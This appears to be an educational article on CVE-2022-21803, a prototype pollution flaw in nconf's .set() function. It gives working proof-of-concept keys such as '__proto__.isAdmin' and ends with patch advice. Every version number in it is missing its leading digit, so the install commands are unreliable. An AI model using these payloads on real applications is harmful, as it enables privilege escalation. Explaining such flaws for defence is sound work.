nconf is a popular configuration management library for Node.js, widely used to organize application settings. But before version .11.4, a dangerous security flaw lurked within, exposing many applications to Prototype Pollution attacks. In this long read, we’ll dive deep into what happened, how it works, and even show you how attackers could have exploited it.
What is Prototype Pollution?
Prototype pollution is a type of vulnerability found in JavaScript. Objects can inherit properties from a common ancestor (the prototype). If an attacker can modify this prototype, they can poison or change behaviors across all objects of that type in your application!
Example
Object.prototype.polluted = 'yes';
let obj = {};
console.log(obj.polluted); // => 'yes'
Even though obj seems empty, it now has an unexpected property from the prototype.
About nconf
nconf on GitHub
nconf on npm
nconf lets you manage configuration using different storage engines (memory, files, env, etc.). Its .set() function allows users to set values directly into the configuration tree. However, before version .11.4, the function didn’t sanitize property names correctly, opening the door for prototype pollution.
Affected Versions: < .11.4
- CVE: CVE-2022-21803
How It Works
Using nconf’s memory storage, an attacker can use __proto__ or constructor.prototype in nested configuration objects. nconf's .set() would walk down the property tree blindly, allowing an attacker to poison the global prototype.
Step 1: Install Vulnerable nconf
npm install nconf@.11.3
Step 2: Sample Vulnerable Code
const nconf = require('nconf');
// Use in-memory configuration
nconf.use('memory');
// Suppose user input controls the key and value
let userInputKey = "__proto__.isAdmin";
let userInputValue = true;
// This simulates: nconf.set("__proto__.isAdmin", true)
nconf.set(userInputKey, userInputValue);
console.log(({}).isAdmin); // => true
What happened?
By crafting a key like "__proto__.isAdmin" and passing it to .set(), the code pollutes Object.prototype. Now, every object in your app will think it has an isAdmin property.
Imagine an app checks if a user is admin like this
if (user.isAdmin) {
// ... grant admin powers!
}
After pollution, ALL users become admins. The app is now fully compromised.
Original References
- CVE Report
- npm advisory
- GitHub Advisory
Store a nested JSON in nconf
nconf.set({
"levels": {
"__proto__": {
"hacked": "yes"
}
}
});
console.log(({}).hacked); // => 'yes'
Or, using dot-notation
nconf.set('user.__proto__.superuser', true);
console.log(({}).superuser); // => true
Mitigation & Patch
The maintainers patched this issue in nconf v.11.4.
Update immediately
npm install nconf@latest
Or, avoid using .set() with unsanitized user input, and always validate/sanitize configuration keys.
Stay safe and keep your dependencies secure!
*This article is exclusive and written for educational purposes. For more details, see CVE-2022-21803 on MITRE.*
Timeline
Published on: 04/12/2022 16:15:00 UTC
Last modified on: 04/20/2022 14:07:00 UTC